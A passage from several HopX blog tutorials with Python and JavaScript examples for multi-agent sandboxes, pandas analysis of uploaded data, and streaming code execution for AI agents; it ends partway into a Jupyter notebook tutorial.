msg_id = f"{time.time()}" path = f"/comm/{to}/{msg_id}.json" self.shared.files.write(path, json.dumps({ "from": self.name, "message": message, "timestamp": msg_id })) def receive(self) -> list[dict]: """Receive all pending messages""" messages = [] result = self.shared.commands.run(f"ls {self.mailbox}/*.json 2>/dev/null || true") for path in result.stdout.strip().split('\n'): if path: content = self.shared.files.read(path) messages.append(json.loads(content)) self.shared.commands.run(f"rm {path}") return messages ``` ### Event-Based Communication ```python import asyncio from hopx import Sandbox class EventBus: def __init__(self): self.subscribers = {} def subscribe(self, event_type: str, callback): if event_type not in self.subscribers: self.subscribers[event_type] = [] self.subscribers[event_type].append(callback) async def publish(self, event_type: str, data: dict): if event_type in self.subscribers: for callback in self.subscribers[event_type]: await callback(data) class ReactiveAgent: def __init__(self, name: str, bus: EventBus): self.name = name self.bus = bus self.sandbox = None async def start(self): self.sandbox = Sandbox.create(template="code-interpreter") # Subscribe to relevant events self.bus.subscribe("task_available", self.on_task) self.bus.subscribe("data_ready", self.on_data) async def on_task(self, data: dict): if data["type"] == self.name: result = await self.process(data) await self.bus.publish("task_complete", { "agent": self.name, "result": result }) async def process(self, task: dict) -> dict: # Execute in sandbox result = self.sandbox.commands.run(task["command"]) return {"output": result.stdout} # Usage bus = EventBus() agents = [ ReactiveAgent("processor", bus), ReactiveAgent("validator", bus) ] async def main(): for agent in agents: await agent.start() # Publish a task await bus.publish("task_available", { "type": "processor", "command": "echo 'Processing...'" }) ``` ## Best Practices ### 1. Isolate Each Agent Each agent should have its own sandbox: ```python class IsolatedAgent: def __init__(self): self.sandbox = None def __enter__(self): self.sandbox = Sandbox.create(template="code-interpreter") return self def __exit__(self, *args): if self.sandbox: self.sandbox.kill() ``` ### 2. Implement Timeouts Prevent runaway agents: ```python import signal class TimeoutAgent: def execute(self, task: str, timeout: int = 30): sandbox = Sandbox.create(template="code-interpreter") try: result = sandbox.commands.run( task, timeout=timeout ) return result except TimeoutError: sandbox.kill() # Force cleanup raise ``` ### 3. Log Agent Activities Track what agents do: ```python import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger("multi_agent") class LoggedAgent: def execute(self, task: str): logger.info(f"Agent {self.name} starting task: {task[:50]}...") result = self._do_execute(task) logger.info(f"Agent {self.name} completed. Exit code: {result.exit_code}") return result ``` ### 4. Handle Failures Gracefully ```python class ResilientAgentSystem: def execute_with_retry(self, agent, task, max_retries=3): for attempt in range(max_retries): try: return agent.execute(task) except Exception as e: logger.warning(f"Attempt {attempt + 1} failed: {e}") if attempt == max_retries - 1: raise time.sleep(2 ** attempt) # Exponential backoff ``` ## Conclusion Multi-agent architectures unlock powerful capabilities: - **Specialization** - Each agent masters its domain - **Parallelism** - Execute tasks simultaneously - **Resilience** - Failure in one agent doesn't break the system - **Scalability** - Add more agents as needed HopX sandboxes make this secure by isolating each agent's code execution, preventing one agent from affecting another. Start building your multi-agent system today with the patterns in this guide. ## Resources - [LangChain Multi-Agent](https://python.langchain.com/docs/modules/agents/) - [AutoGen Framework](https://microsoft.github.io/autogen/) - [HopX Documentation](https://hopx.ai/docs) --- ## Data Analysis with Pandas in Isolated Sandboxes URL: https://hopx.ai/blog/tutorials/data-analysis-with-pandas-in-sandboxes/ Category: Tutorials Published: 2025-11-18 # Data Analysis with Pandas in Isolated Sandboxes Pandas is the backbone of Python data analysis. Combined with HopX sandboxes, you get secure, isolated environments where untrusted data can be processed without risk to your systems. This guide shows how to run data analysis workflows in sandboxes—from basic operations to advanced visualizations. ## Why Sandbox Your Data Analysis? **Risks of local data analysis:** - Malicious files could exploit pandas vulnerabilities - User-uploaded data might contain code injection - Resource exhaustion from large datasets - No isolation between analysis sessions **Sandbox benefits:** - Complete isolation from your infrastructure - Resource limits prevent abuse - Each analysis runs fresh - No persistent state between runs ## Getting Started The `code-interpreter` template comes with pandas, numpy, matplotlib, and other data science packages pre-installed: ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Verify packages are available result = sandbox.commands.run(""" python -c " import pandas as pd import numpy as np import matplotlib print(f'Pandas: {pd.__version__}') print(f'NumPy: {np.__version__}') print(f'Matplotlib: {matplotlib.__version__}') " """) print(result.stdout) ``` ## Basic Data Operations ### Loading Data ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Upload a CSV file csv_data = """name,age,city,salary Alice,30,New York,75000 Bob,25,San Francisco,85000 Carol,35,Chicago,65000 David,28,Boston,70000 Eve,32,Seattle,90000""" sandbox.files.write("/app/employees.csv", csv_data) # Load and explore result = sandbox.commands.run(""" python -c " import pandas as pd df = pd.read_csv('/app/employees.csv') print('Shape:', df.shape) print() print('Columns:', list(df.columns)) print() print('Data types:') print(df.dtypes) print() print('First few rows:') print(df.head()) " """) print(result.stdout) ``` ### Data Filtering and Selection ```python from hopx import Sandbox import json sandbox = Sandbox.create(template="code-interpreter") # Upload data sandbox.files.write("/app/data.csv", csv_data) # Complex filtering result = sandbox.commands.run(""" python -c " import pandas as pd import json df = pd.read_csv('/app/data.csv') # Filter: age > 28 AND salary > 70000 filtered = df[(df['age'] > 28) & (df['salary'] > 70000)] # Select specific columns selected = filtered[['name', 'salary']] # Convert to JSON for output print(selected.to_json(orient='records')) " """) data = json.loads(result.stdout) print("High earners over 28:", data) ``` ### Aggregations and Grouping ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Sample sales data sales_data = """product,category,quantity,price,date Widget A,Electronics,10,99.99,2024-01-15 Widget B,Electronics,5,149.99,2024-01-16 Gadget X,Home,20,29.99,2024-01-15 Gadget Y,Home,15,39.99,2024-01-17 Widget A,Electronics,8,99.99,2024-01-18""" sandbox.files.write("/app/sales.csv", sales_data) result = sandbox.commands.run(""" python -c " import pandas as pd df = pd.read_csv('/app/sales.csv') # Calculate revenue df['revenue'] = df['quantity'] * df['price'] # Group by category category_stats = df.groupby('category').agg({ 'quantity': 'sum', 'revenue': 'sum', 'product': 'nunique' # Count unique products }).rename(columns={'product': 'unique_products'}) print('Sales by Category:') print(category_stats) print() # Group by product product_stats = df.groupby('product').agg({ 'quantity': 'sum', 'revenue': 'sum' }).sort_values('revenue', ascending=False) print('Sales by Product:') print(product_stats) " """) print(result.stdout) ``` ## Data Transformation ### Cleaning and Preprocessing ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Messy data with issues messy_data = """id,name,email,phone,signup_date 1,John Doe,JOHN@EXAMPLE.COM,555-1234,2024/01/15 2,jane smith,jane@test.com,,01-20-2024 3,BOB WILSON,bob@company.org,555-5678,2024-01-22 4,,missing@email.com,555-9999,2024-01-25 5,Alice Brown,alice@domain.com,N/A,""" sandbox.files.write("/app/messy.csv", messy_data) result = sandbox.commands.run(""" python -c " import pandas as pd import numpy as np df = pd.read_csv('/app/messy.csv') print('Before cleaning:') print(df) print() # Standardize names (title case) df['name'] = df['name'].str.title() # Lowercase emails df['email'] = df['email'].str.lower() # Replace 'N/A' with NaN df = df.replace('N/A', np.nan) # Parse dates (handle multiple formats) df['signup_date'] = pd.to_datetime(df['signup_date'], errors='coerce') # Drop rows with missing critical fields df_clean = df.dropna(subset=['name', 'email']) print('After cleaning:') print(df_clean) print() print(f'Rows removed: {len(df) - len(df_clean)}') " """) print(result.stdout) ``` ### Merging Datasets ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Create two related datasets customers = """customer_id,name,country 1,Alice,USA 2,Bob,UK 3,Carol,Canada 4,David,USA""" orders = """order_id,customer_id,product,amount 101,1,Widget,99.99 102,2,Gadget,149.99 103,1,Accessory,29.99 104,3,Widget,99.99 105,5,Unknown,50.00""" # Customer 5 doesn't exist sandbox.files.write("/app/customers.csv", customers) sandbox.files.write("/app/orders.csv", orders) result = sandbox.commands.run(""" python -c " import pandas as pd customers = pd.read_csv('/app/customers.csv') orders = pd.read_csv('/app/orders.csv') # Inner join - only matching records inner = pd.merge(orders, customers, on='customer_id', how='inner') print('Inner Join (matching only):') print(inner) print() # Left join - all orders, matching customers left = pd.merge(orders, customers, on='customer_id', how='left') print('Left Join (all orders):') print(left) print() # Summary by country by_country = inner.groupby('country')['amount'].agg(['sum', 'count', 'mean']) print('Sales by Country:') print(by_country) " """) print(result.stdout) ``` ## Statistical Analysis ### Descriptive Statistics ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Generate sample data result = sandbox.commands.run(""" python -c " import pandas as pd import numpy as np # Generate sample dataset np.random.seed(42) n = 1000 df = pd.DataFrame({ 'age': np.random.normal(35, 10, n).astype(int), 'income': np.random.lognormal(10.5, 0.5, n), 'score': np.random.beta(2, 5, n) * 100, 'category': np.random.choice(['A', 'B', 'C'], n) }) print('Dataset Shape:', df.shape) print() print('Descriptive Statistics:') print(df.describe()) print() print('By Category:') print(df.groupby('category').agg({ 'age': 'mean', 'income': 'median', 'score': ['mean', 'std'] })) " """) print(result.stdout) ``` ### Correlation Analysis ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") result = sandbox.commands.run(""" python -c " import pandas as pd import numpy as np np.random.seed(42) n = 500 # Create correlated variables x = np.random.normal(0, 1, n) y = 0.7 * x + 0.3 * np.random.normal(0, 1, n) # Correlated with x z = np.random.normal(0, 1, n) # Independent df = pd.DataFrame({'x': x, 'y': y, 'z': z}) # Correlation matrix print('Correlation Matrix:') print(df.corr()) print() # Spearman correlation (rank-based) print('Spearman Correlation:') print(df.corr(method='spearman')) " """) print(result.stdout) ``` ## Data Visualization ### Basic Charts ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Create visualization result = sandbox.commands.run(""" python -c " import pandas as pd import numpy as np import matplotlib.pyplot as plt # Sample data categories = ['Electronics', 'Clothing', 'Food', 'Books', 'Home'] sales = [45000, 32000, 28000, 15000, 22000] # Create bar chart fig, axes = plt.subplots(1, 2, figsize=(12, 5)) # Bar chart axes[0].bar(categories, sales, color='steelblue') axes[0].set_title('Sales by Category') axes[0].set_ylabel('Sales ($)') axes[0].tick_params(axis='x', rotation=45) # Pie chart axes[1].pie(sales, labels=categories, autopct='%1.1f%%', startangle=90) axes[1].set_title('Sales Distribution') plt.tight_layout() plt.savefig('/app/sales_charts.png', dpi=150) print('Charts saved to /app/sales_charts.png') " """) # Download the chart chart_data = sandbox.files.read("/app/sales_charts.png") with open("sales_charts.png", "wb") as f: f.write(chart_data) print("Chart downloaded!") ``` ### Time Series Visualization ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") result = sandbox.commands.run(""" python -c " import pandas as pd import numpy as np import matplotlib.pyplot as plt # Generate time series data np.random.seed(42) dates = pd.date_range('2024-01-01', periods=365, freq='D') base = 100 + np.cumsum(np.random.randn(365) * 2) seasonal = 10 * np.sin(np.arange(365) * 2 * np.pi / 365) values = base + seasonal df = pd.DataFrame({'date': dates, 'value': values}) df.set_index('date', inplace=True) # Calculate moving average df['MA_7'] = df['value'].rolling(window=7).mean() df['MA_30'] = df['value'].rolling(window=30).mean() # Plot fig, ax = plt.subplots(figsize=(14, 6)) ax.plot(df.index, df['value'], alpha=0.5, label='Daily', linewidth=0.5) ax.plot(df.index, df['MA_7'], label='7-day MA', linewidth=1.5) ax.plot(df.index, df['MA_30'], label='30-day MA', linewidth=2) ax.set_title('Time Series with Moving Averages') ax.set_xlabel('Date') ax.set_ylabel('Value') ax.legend() ax.grid(True, alpha=0.3) plt.tight_layout() plt.savefig('/app/timeseries.png', dpi=150) print('Time series chart saved') " """) # Download ts_chart = sandbox.files.read("/app/timeseries.png") with open("timeseries.png", "wb") as f: f.write(ts_chart) ``` ### Advanced Visualizations ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") result = sandbox.commands.run(""" python -c " import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns # Generate sample data np.random.seed(42) n = 200 df = pd.DataFrame({ 'x': np.random.normal(0, 1, n), 'y': np.random.normal(0, 1, n), 'size': np.random.uniform(50, 500, n), 'category': np.random.choice(['A', 'B', 'C'], n) }) df['y'] = df['y'] + 0.5 * df['x'] # Add correlation # Create figure with multiple plots fig, axes = plt.subplots(2, 2, figsize=(12, 10)) # Scatter plot scatter = axes[0, 0].scatter(df['x'], df['y'], c=df['category'].map({'A': 0, 'B': 1, 'C': 2}), s=df['size']/5, alpha=0.6, cmap='viridis') axes[0, 0].set_title('Scatter Plot with Size & Color') axes[0, 0].set_xlabel('X') axes[0, 0].set_ylabel('Y') # Histogram with KDE for cat in ['A', 'B', 'C']: subset = df[df['category'] == cat]['x'] axes[0, 1].hist(subset, bins=20, alpha=0.5, label=cat, density=True) axes[0, 1].set_title('Distribution by Category') axes[0, 1].legend() # Box plot df.boxplot(column='y', by='category', ax=axes[1, 0]) axes[1, 0].set_title('Box Plot by Category') # Heatmap (correlation) corr = df[['x', 'y', 'size']].corr() im = axes[1, 1].imshow(corr, cmap='coolwarm', vmin=-1, vmax=1) axes[1, 1].set_xticks(range(len(corr.columns))) axes[1, 1].set_yticks(range(len(corr.columns))) axes[1, 1].set_xticklabels(corr.columns) axes[1, 1].set_yticklabels(corr.columns) axes[1, 1].set_title('Correlation Heatmap') plt.colorbar(im, ax=axes[1, 1]) plt.suptitle('Data Analysis Dashboard', fontsize=14, y=1.02) plt.tight_layout() plt.savefig('/app/dashboard.png', dpi=150, bbox_inches='tight') print('Dashboard saved') " """) dashboard = sandbox.files.read("/app/dashboard.png") with open("dashboard.png", "wb") as f: f.write(dashboard) ``` ## Processing User-Uploaded Data Here's a complete pattern for safely processing user uploads: ```python from hopx import Sandbox import json def analyze_user_csv(csv_content: bytes, analysis_request: str) -> dict: """ Safely analyze user-uploaded CSV data. Args: csv_content: Raw CSV file content analysis_request: Natural language description of desired analysis Returns: Dictionary with analysis results and any generated charts """ sandbox = Sandbox.create(template="code-interpreter") try: # Upload the user's data sandbox.files.write("/app/user_data.csv", csv_content) # First, validate the CSV validation = sandbox.commands.run(""" python -c " import pandas as pd import json try: df = pd.read_csv('/app/user_data.csv') info = { 'valid': True, 'rows': len(df), 'columns': list(df.columns), 'dtypes': {col: str(dtype) for col, dtype in df.dtypes.items()} } except Exception as e: info = {'valid': False, 'error': str(e)} print(json.dumps(info)) " """) data_info = json.loads(validation.stdout) if not data_info['valid']: return {'error': data_info['error']} # Perform the requested analysis analysis_code = generate_analysis_code(analysis_request, data_info) sandbox.files.write("/app/analyze.py", analysis_code) result = sandbox.commands.run("cd /app && python analyze.py") # Collect results output = {'data_info': data_info} if result.exit_code == 0: output['analysis'] = result.stdout else: output['error'] = result.stderr # Check for generated charts chart_check = sandbox.commands.run("ls /app/*.png 2>/dev/null || true") if chart_check.stdout.strip(): charts = [] for chart_path in chart_check.stdout.strip().split('\n'): chart_data = sandbox.files.read(chart_path) charts.append({ 'name': chart_path.split('/')[-1], 'data': chart_data }) output['charts'] = charts return output finally: sandbox.kill() def generate_analysis_code(request: str, data_info: dict) -> str: """Generate pandas analysis code based on user request""" # This would typically use an LLM to generate code # For this example, we'll use a template return f''' import pandas as pd import numpy as np import matplotlib.pyplot as plt import json df = pd.read_csv('/app/user_data.csv') # Basic analysis print("=== Data Overview ===") print(f"Rows: {{len(df)}}") print(f"Columns: {{len(df.columns)}}") print() print("=== Summary Statistics ===") print(df.describe()) print() print("=== Missing Values ===") print(df.isnull().sum()) print() # Generate a basic chart for numeric columns numeric_cols = df.select_dtypes(include=[np.number]).columns[:4] # Limit to 4 if len(numeric_cols) > 0: fig, axes = plt.subplots(1, len(numeric_cols), figsize=(4*len(numeric_cols), 4)) if len(numeric_cols) == 1: axes = [axes] for ax, col in zip(axes, numeric_cols): df[col].hist(ax=ax, bins=20) ax.set_title(col) plt.tight_layout() plt.savefig('/app/histograms.png', dpi=100) print("\\nHistograms saved to /app/histograms.png") ''' # Usage example with open("user_upload.csv", "rb") as f: csv_content = f.read() results = analyze_user_csv(csv_content, "Show me basic statistics and trends") print(results['analysis']) ``` ## Performance Tips ### 1. Use Appropriate Data Types ```python # Convert types to reduce memory sandbox.commands.run(""" python -c " import pandas as pd df = pd.read_csv('/app/large_data.csv') # Before print('Memory before:', df.memory_usage(deep=True).sum() / 1e6, 'MB') # Optimize types df['category'] = df['category'].astype('category') df['small_int'] = df['small_int'].astype('int16') df['boolean'] = df['boolean'].astype('bool') # After print('Memory after:', df.memory_usage(deep=True).sum() / 1e6, 'MB') " """) ``` ### 2. Process Large Files in Chunks ```python sandbox.commands.run(""" python -c " import pandas as pd # Process large CSV in chunks chunk_size = 10000 results = [] for chunk in pd.read_csv('/app/huge_file.csv', chunksize=chunk_size): # Process each chunk chunk_result = chunk.groupby('category')['value'].sum() results.append(chunk_result) # Combine results final = pd.concat(results).groupby(level=0).sum() print(final) " """) ``` ### 3. Use Efficient File Formats ```python sandbox.commands.run(""" python -c " import pandas as pd df = pd.read_csv('/app/data.csv') # Save as Parquet (much faster to read) df.to_parquet('/app/data.parquet') # Read parquet (faster than CSV) df2 = pd.read_parquet('/app/data.parquet') " """) ``` ## Conclusion Running Pandas in HopX sandboxes gives you: - **Security** - User data is isolated - **Reliability** - Consistent environment every time - **Scalability** - Process many datasets in parallel - **Safety** - Malicious data can't escape Whether you're building a data analysis API, processing user uploads, or running automated reports, sandboxed Pandas provides the foundation for secure data science. ## Resources - [Pandas Documentation](https://pandas.pydata.org/docs/) - [Matplotlib Gallery](https://matplotlib.org/stable/gallery/) - [HopX Documentation](https://hopx.ai/docs) - [Seaborn Tutorial](https://seaborn.pydata.org/tutorial.html) --- ## Streaming Code Execution: Real-time Output for AI Agents URL: https://hopx.ai/blog/tutorials/streaming-code-execution-for-agents/ Category: Tutorials Published: 2025-11-17 # Streaming Code Execution: Real-time Output for AI Agents When code runs for more than a second, users start wondering: "Is it working?" Streaming output solves this by showing results as they happen, not just when execution completes. This guide shows you how to stream code execution from HopX sandboxes, enabling AI agents that feel responsive and keep users engaged. ## Why Streaming Matters **Without streaming:** ``` User: "Analyze this 100MB dataset" [Spinner for 30 seconds] [All output appears at once] ``` **With streaming:** ``` User: "Analyze this 100MB dataset" → Loading dataset... → Processing 1,000,000 rows... → Calculating statistics... → Generating visualizations... → Analysis complete! ``` Streaming provides: - **Feedback** - Users know the system is working - **Progress** - Long tasks feel faster - **Debugging** - See issues as they occur - **Cancellation** - Stop early if output looks wrong ## Basic Streaming ### Synchronous Streaming The simplest form of streaming reads output as it's produced: ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Long-running script with progress output code = ''' import time for i in range(10): print(f"Processing step {i+1}/10...") time.sleep(1) print("Complete!") ''' sandbox.files.write("/app/process.py", code) # Stream output line by line for line in sandbox.commands.stream("cd /app && python -u process.py"): print(f"[OUTPUT] {line}") ``` Note the `-u` flag for unbuffered Python output—essential for real-time streaming. ### Async Streaming For web applications and async frameworks: ```python import asyncio from hopx import Sandbox async def stream_execution(): sandbox = await Sandbox.create_async(template="code-interpreter") code = ''' import time import sys for i in range(5): print(f"Step {i+1}", flush=True) time.sleep(0.5) ''' await sandbox.files.write_async("/app/task.py", code) async for line in sandbox.commands.stream_async("python -u /app/task.py"): print(f"Received: {line}") await sandbox.kill_async() asyncio.run(stream_execution()) ``` ## Streaming to Web Clients ### Server-Sent Events (SSE) SSE is perfect for streaming to browsers: ```python from fastapi import FastAPI, Response from fastapi.responses import StreamingResponse from hopx import Sandbox import asyncio app = FastAPI() @app.post("/execute") async def execute_code(code: str): async def generate(): sandbox = await Sandbox.create_async(template="code-interpreter") try: await sandbox.files.write_async("/app/code.py", code) async for line in sandbox.commands.stream_async("python -u /app/code.py"): # Format as SSE yield f"data: {line}\n\n" yield "data: [DONE]\n\n" finally: await sandbox.kill_async() return StreamingResponse( generate(), media_type="text/event-stream", headers={ "Cache-Control": "no-cache", "Connection": "keep-alive" } ) ``` Frontend consumption: ```javascript const eventSource = new EventSource('/execute', { method: 'POST', body: JSON.stringify({ code: 'print("Hello")' }) }); eventSource.onmessage = (event) => { if (event.data === '[DONE]') { eventSource.close(); return; } // Append to output document.getElementById('output').textContent += event.data + '\n'; }; eventSource.onerror = () => { console.error('Stream error'); eventSource.close(); }; ``` ### WebSocket Streaming For bidirectional communication: ```python from fastapi import FastAPI, WebSocket from hopx import Sandbox import asyncio import json app = FastAPI() @app.websocket("/ws/execute") async def websocket_execute(websocket: WebSocket): await websocket.accept() sandbox = None try: while True: # Receive code from client data = await websocket.receive_json() if data["type"] == "execute": sandbox = await Sandbox.create_async(template="code-interpreter") await sandbox.files.write_async("/app/code.py", data["code"]) # Stream output back async for line in sandbox.commands.stream_async("python -u /app/code.py"): await websocket.send_json({ "type": "output", "content": line }) await websocket.send_json({"type": "complete"}) await sandbox.kill_async() sandbox = None elif data["type"] == "cancel": if sandbox: await sandbox.kill_async() sandbox = None await websocket.send_json({"type": "cancelled"}) except Exception as e: await websocket.send_json({"type": "error", "message": str(e)}) finally: if sandbox: await sandbox.kill_async() ``` Frontend WebSocket client: ```javascript const ws = new WebSocket('ws://localhost:8000/ws/execute'); let outputDiv = document.getElementById('output'); ws.onopen = () => { // Send code to execute ws.send(JSON.stringify({ type: 'execute', code: ` import time for i in range(10): print(f'Processing {i}...') time.sleep(0.5) ` })); }; ws.onmessage = (event) => { const data = JSON.parse(event.data); switch (data.type) { case 'output': outputDiv.textContent += data.content + '\n'; break; case 'complete': outputDiv.textContent += '\n[Execution complete]'; break; case 'error': outputDiv.textContent += `\nError: ${data.message}`; break; } }; // Cancel button document.getElementById('cancel').onclick = () => { ws.send(JSON.stringify({ type: 'cancel' })); }; ``` ## Progress Reporting ### Structured Progress Updates Instead of raw output, send structured progress: ```python from hopx import Sandbox import json def execute_with_progress(code: str, on_progress): """Execute code and report structured progress""" sandbox = Sandbox.create(template="code-interpreter") # Wrapper that outputs JSON progress wrapper = ''' import sys import json def progress(message, percent=None, data=None): """Report progress in structured format""" update = {"type": "progress", "message": message} if percent is not None: update["percent"] = percent if data is not None: update["data"] = data print("__PROGRESS__" + json.dumps(update), flush=True) def result(data): """Report final result""" print("__RESULT__" + json.dumps({"type": "result", "data": data}), flush=True) def error(message): """Report error""" print("__ERROR__" + json.dumps({"type": "error", "message": message}), flush=True) # User code can now use progress(), result(), error() ''' full_code = wrapper + "\n" + code sandbox.files.write("/app/task.py", full_code) for line in sandbox.commands.stream("python -u /app/task.py"): if line.startswith("__PROGRESS__"): data = json.loads(line[12:]) on_progress(data) elif line.startswith("__RESULT__"): data = json.loads(line[10:]) on_progress(data) elif line.startswith("__ERROR__"): data = json.loads(line[9:]) on_progress(data) else: # Regular output on_progress({"type": "output", "content": line}) sandbox.kill() # Usage def handle_progress(update): if update["type"] == "progress": print(f"[{update.get('percent', '?')}%] {update['message']}") elif update["type"] == "result": print(f"Result: {update['data']}") code = ''' import time progress("Starting analysis", 0) for i in range(5): progress(f"Processing batch {i+1}", (i+1) * 20) time.sleep(0.5) result({"processed": 5, "status": "success"}) ''' execute_with_progress(code, handle_progress) ``` ### Progress Bar Integration Send progress suitable for UI progress bars: ```python analysis_code = ''' import pandas as pd import time # Load data progress("Loading dataset...", 0) df = pd.read_csv('/app/data.csv') progress(f"Loaded {len(df)} rows", 20) # Clean data progress("Cleaning data...", 20) df = df.dropna() progress(f"Cleaned, {len(df)} rows remaining", 40) # Process total = len(df) for i, chunk in enumerate(range(0, total, 1000)): percent = 40 + (i / (total // 1000)) * 40 progress(f"Processing rows {chunk}-{chunk+1000}", percent) time.sleep(0.1) # Simulate work # Generate report progress("Generating report...", 80) summary = df.describe() progress("Report ready", 100) result(summary.to_dict()) ''' ``` ## Handling Long-Running Tasks ### Heartbeat Pattern Keep connections alive during long operations: ```python import asyncio from hopx import Sandbox async def execute_with_heartbeat(code: str): sandbox = await Sandbox.create_async(template="code-interpreter") await sandbox.files.write_async("/app/task.py", code) # Start execution execution = asyncio.create_task( collect_output(sandbox.commands.stream_async("python -u /app/task.py")) ) # Send heartbeats while executing while not execution.done(): yield {"type": "heartbeat", "timestamp": time.time()} await asyncio.sleep(5) # Get final result output = await execution yield {"type": "complete", "output": output} await sandbox.kill_async() async def collect_output(stream): output = [] async for line in stream: output.append(line) return output ``` ### Timeout with Partial Results Return what you have if execution takes too long: ```python import asyncio from hopx import Sandbox async def execute_with_timeout(code: str, timeout: int = 60): sandbox = await Sandbox.create_async(template="code-interpreter") await sandbox.files.write_async("/app/task.py", code) output = [] try: async with asyncio.timeout(timeout): async for line in sandbox.commands.stream_async("python -u /app/task.py"): output.append(line) yield {"type": "output", "line": line} yield {"type": "complete", "output": output} except asyncio.TimeoutError: yield { "type": "timeout", "partial_output": output, "message": f"Execution exceeded {timeout}s limit" } finally: await sandbox.kill_async() ``` ## Streaming for AI Agents ### Integration with LLM Streaming Combine code streaming with LLM response streaming: ```python import openai from hopx import Sandbox async def agent_stream(user_message: str): client = openai.AsyncOpenAI() # Stream LLM response response = await client.chat.completions.create( model="gpt-4o", messages=[ {"role": "system", "content": "You are a helpful coding assistant."}, {"role": "user", "content": user_message} ], stream=True ) code_block = "" in_code_block = False async for chunk in response: content = chunk.choices[0].delta.content or "" # Detect code blocks if "```python" in content: in_code_block = True yield {"type": "text", "content": content} continue if "```" in content and in_code_block: in_code_block = False # Execute the collected code yield {"type": "text", "content": content} yield {"type": "executing", "code": code_block} async for output in execute_code_stream(code_block): yield {"type": "execution", "output": output} code_block = "" continue if in_code_block: code_block += content yield {"type": "text", "content": content} async def execute_code_stream(code: str): sandbox = await Sandbox.create_async(template="code-interpreter") try: await sandbox.files.write_async("/app/code.py", code) async for line in sandbox.commands.stream_async("python -u /app/code.py"): yield line finally: await sandbox.kill_async() ``` ### Multi-Step Agent with Streaming ```python class StreamingAgent: def __init__(self): self.client = openai.AsyncOpenAI() async def run(self, task: str): """Run agent with streaming at every step""" yield {"type": "thinking", "message": "Analyzing task..."} # Plan steps plan = await self._create_plan(task) yield {"type": "plan", "steps": plan} results = {} for i, step in enumerate(plan): yield {"type": "step_start", "step": i, "description": step["description"]} # Generate code for step async for chunk in self._generate_code_stream(step): yield {"type": "code_chunk", "content": chunk} # Execute with streaming sandbox = await Sandbox.create_async(template="code-interpreter") try: await sandbox.files.write_async("/app/step.py", step["code"]) async for line in sandbox.commands.stream_async("python -u /app/step.py"): yield {"type": "output", "step": i, "line": line} # Capture result result = await sandbox.files.read_async("/app/result.json") results[step["id"]] = json.loads(result) yield {"type": "step_complete", "step": i} finally: await sandbox.kill_async() yield {"type": "complete", "results": results} async def _generate_code_stream(self, step): """Stream code generation from LLM""" response = await self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": f"Write Python code for: {step['description']}" }], stream=True ) async for chunk in response: content = chunk.choices[0].delta.content or "" yield content ``` ## Performance Considerations ### Buffer Size Control output buffer for optimal streaming: ```python # Smaller buffer = more responsive, more overhead # Larger buffer = less responsive, more efficient sandbox.commands.stream("python script.py", buffer_size=64) # Very responsive sandbox.commands.stream("python script.py", buffer_size=4096) # More efficient ``` ### Backpressure Handling Handle slow consumers: ```python import asyncio from collections import deque class BufferedStream: def __init__(self, max_buffer=100): self.buffer = deque(maxlen=max_buffer) self.overflow_count = 0 async def produce(self, sandbox): """Produce output from sandbox""" async for line in sandbox.commands.stream_async("python script.py"): if len(self.buffer) >= self.buffer.maxlen: self.overflow_count += 1 self.buffer.append(line) async def consume(self): """Consume buffered output""" while True: if self.buffer: yield self.buffer.popleft() else: await asyncio.sleep(0.01) ``` ### Connection Resilience Handle disconnections gracefully: ```python async def resilient_stream(websocket, sandbox): """Stream with reconnection support""" last_position = 0 output_log = [] async for line in sandbox.commands.stream_async("python script.py"): output_log.append(line) try: await websocket.send_json({ "position": len(output_log), "content": line }) except ConnectionClosed: # Client disconnected, keep running pass return output_log async def handle_reconnect(websocket, output_log, from_position): """Send missed output on reconnection""" for i, line in enumerate(output_log[from_position:], from_position): await websocket.send_json({ "position": i, "content": line, "catchup": True }) ``` ## Best Practices ### 1. Always Use Unbuffered Output ```python # Python sandbox.commands.run("python -u script.py") # Node.js sandbox.commands.run("node --no-warnings script.js") # Within Python code print("message", flush=True) ``` ### 2. Structure Your Output ```python # Don't stream raw debugging print("x = 5") # Not useful # Stream meaningful progress print(f"[STEP 1/3] Loading data ({len(df)} rows)") ``` ### 3. Handle Errors in Stream ```python async for line in sandbox.commands.stream_async("python script.py"): if line.startswith("ERROR:"): yield {"type": "error", "message": line} break yield {"type": "output", "content": line} ``` ### 4. Clean Up Resources ```python async def stream_with_cleanup(code): sandbox = await Sandbox.create_async(template="code-interpreter") try: async for line in sandbox.commands.stream_async(f"python -u -c '{code}'"): yield line finally: await sandbox.kill_async() # Always cleanup ``` ## Conclusion Streaming transforms the user experience of AI code execution: - **Immediate feedback** instead of waiting - **Progress visibility** for long tasks - **Cancellation capability** when needed - **Debugging insight** in real-time Implement streaming from day one—your users will thank you. ## Resources - [Server-Sent Events Specification](https://html.spec.whatwg.org/multipage/server-sent-events.html) - [WebSocket API](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) - [FastAPI Streaming](https://fastapi.tiangolo.com/advanced/custom-response/#streamingresponse) - [HopX Streaming Documentation](https://hopx.ai/docs/streaming) --- ## Running Jupyter Notebooks in the Cloud URL: https://hopx.ai/blog/tutorials/running-jupyter-notebooks-in-the-cloud/ Category: Tutorials Published: 2025-11-16 # Running Jupyter Notebooks in the Cloud Jupyter notebooks are the standard for data science workflows. But running them in production—scheduled jobs, API endpoints, automated pipelines—requires executing them without the interactive interface. HopX sandboxes let you run notebooks programmatically, in isolated environments, with full access to results. ## Why Run Notebooks in Sandboxes? **Local notebook execution problems:** - Notebooks can execute arbitrary code - User notebooks might contain malicious code - Resource consumption is unpredictable - Environment conflicts between notebooks **Sandbox advantages:** - Complete isolation from your infrastructure - Consistent, reproducible environments - Resource limits 